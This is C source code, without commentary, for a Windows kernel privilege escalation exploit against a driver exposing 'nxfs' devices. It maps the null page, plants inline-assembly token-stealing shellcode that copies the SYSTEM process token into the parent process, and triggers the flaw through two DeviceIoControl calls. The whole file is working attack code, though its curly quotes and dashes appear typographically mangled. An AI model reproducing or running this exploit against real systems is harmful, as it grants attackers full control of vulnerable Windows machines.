#include “stdafx.h”
#include <Windows.h>
#define DEVICE L”\\\\.\\nxfs-709fd562-36b5-48c6-9952-302da6218061″
#define DEVICE2 L”\\\\.\\nxfs-net-709fd562-36b5-48c6-9952-302da6218061{709fd562-36b5-48c6-9952-302da6218061}”
#define IOCTL 0x00222014
#define IOCTL2 0x00222030
#define OUT_SIZE 0x90
#define IN_SIZE 0x10
#define KTHREAD_OFFSET 0x124
#define EPROCESS_OFFSET 0x050
#define PID_OFFSET 0x0b4
#define FLINK_OFFSET 0x0b8
#define TOKEN_OFFSET 0x0f8
#define SYSTEM_PID 0x004
#define PARENT_PID 0x140
__declspec(naked)VOID TokenStealingShellcode()
{
            __asm{
            xor eax, eax;
            mov eax, fs:[eax + KTHREAD_OFFSET];
            mov eax, [eax + EPROCESS_OFFSET];
            mov esi, [eax + PARENT_PID]; Get parent pid
            Loop1:
                        mov eax, [eax + FLINK_OFFSET];
                        sub eax, FLINK_OFFSET;
                        cmp esi, [eax + PID_OFFSET];
                        jne Loop1;
            mov ecx, eax;
            mov ebx, [eax + TOKEN_OFFSET];
            mov edx, SYSTEM_PID;
            Search:
                        mov eax, [eax + FLINK_OFFSET];
                        sub eax, FLINK_OFFSET;
                        cmp[eax + PID_OFFSET], edx;
                        jne Search;
            mov edx, [eax + TOKEN_OFFSET];
            mov[ecx + TOKEN_OFFSET], edx;
            add esp, 0x58;
            add[esp], 5;
            ret 4;
            }
}
typedef NTSTATUS(WINAPI *PNtAllocateVirtualMemory)(
            HANDLE ProcessHandle,
            PVOID *BaseAddress,
            ULONG ZeroBits,
            PULONG AllocationSize,
            ULONG AllocationType,
            ULONG Protect
            );
typedef NTSTATUS(WINAPI *PNtFreeVirtualMemory)(
            HANDLE ProcessHandle,
            PVOID *BaseAddress,
            PULONG RegionSize,
            ULONG FreeType
            );
int main()
{
            HMODULE module = LoadLibraryA(“ntdll.dll”);
            PNtAllocateVirtualMemory AllocMemory = (PNtAllocateVirtualMemory)GetProcAddress(module, “NtAllocateVirtualMemory”);
            PNtFreeVirtualMemory FreeMemory = (PNtFreeVirtualMemory)GetProcAddress(module, “NtFreeVirtualMemory”);
            SIZE_T size = 0x1000;
            PVOID address1 = (PVOID)0x05ffff00;
            NTSTATUS allocStatus = AllocMemory(GetCurrentProcess(),
                        &address1,
                        0,
                        &size,
                        MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
                        PAGE_EXECUTE_READWRITE);
            if (allocStatus != 0)
            {
                        printf(“[x]Couldnt alloc page\n”);
                        exit(-1);
            }
            printf(“[+] Allocated address at %p\n”, address1);
            *(ULONG *)0x05fffff4 = 5;
            *(ULONG *)0x060000ac = 0x20;
            *(ULONG *)0x060001dc = 0x05ffff00;
            *(ULONG *)(0x05ffff00 – 0x18) = 1;
            *(ULONG *)(0x05ffff00 – 0x14) = 0;
            PVOID address2 = (PVOID)0x1;
            SIZE_T size2 = 0x1000;
            allocStatus = AllocMemory(GetCurrentProcess(),
                        &address2,
                        0,
                        &size2,
                        MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
                        PAGE_EXECUTE_READWRITE);
            if (allocStatus != 0)
            {
                        printf(“[x]Couldnt alloc page2\n”);
                        exit(-1);
            }
            *(ULONG *)0x64 = (ULONG)&TokenStealingShellcode;
            printf(“[+] Mapped null page\n”);
            char inBuff[IN_SIZE];
            char outBuff[OUT_SIZE];
            HANDLE handle = 0;
            DWORD returned = 0;
            memset(inBuff, 0x41, IN_SIZE);
            memset(outBuff, 0x43, OUT_SIZE);
            *(ULONG *)inBuff = 0x00000190;
            *(ULONG *)(inBuff + 4) = 0x00000001;
            printf(“[+] Creating nxfs-net… device through IOCTL 222014\n”);
            handle = CreateFile(DEVICE,
                                    GENERIC_READ | GENERIC_WRITE,
                                    FILE_SHARE_READ | FILE_SHARE_WRITE,
                                    NULL,
                                    OPEN_EXISTING,
                                    FILE_ATTRIBUTE_NORMAL,
                                    0);
            if (handle == INVALID_HANDLE_VALUE)
            {
                        printf(“[x] Couldn’t open device\n”);
                        exit(-1);
            }
            int ret = DeviceIoControl(handle,
                                    IOCTL,
                                    inBuff,
                                    IN_SIZE,
                                    outBuff,
                                    OUT_SIZE,
                                    &returned,
                                    0);
            HANDLE handle2 = CreateFile(DEVICE2,
                        GENERIC_READ | GENERIC_WRITE,
                        FILE_SHARE_READ | FILE_SHARE_WRITE,
                        NULL,
                        OPEN_EXISTING,
                        FILE_ATTRIBUTE_NORMAL,
                        0);
            char inBuff2[0x30];
            char outBuff2[0x30];
            printf(“[+] Triggering exploit…”);
            ret = DeviceIoControl(handle2,
                        IOCTL2,
                        inBuff2,
                        0x30,
                        outBuff2,
                        0x30,
                        &returned,
                        0);
            return 0;
}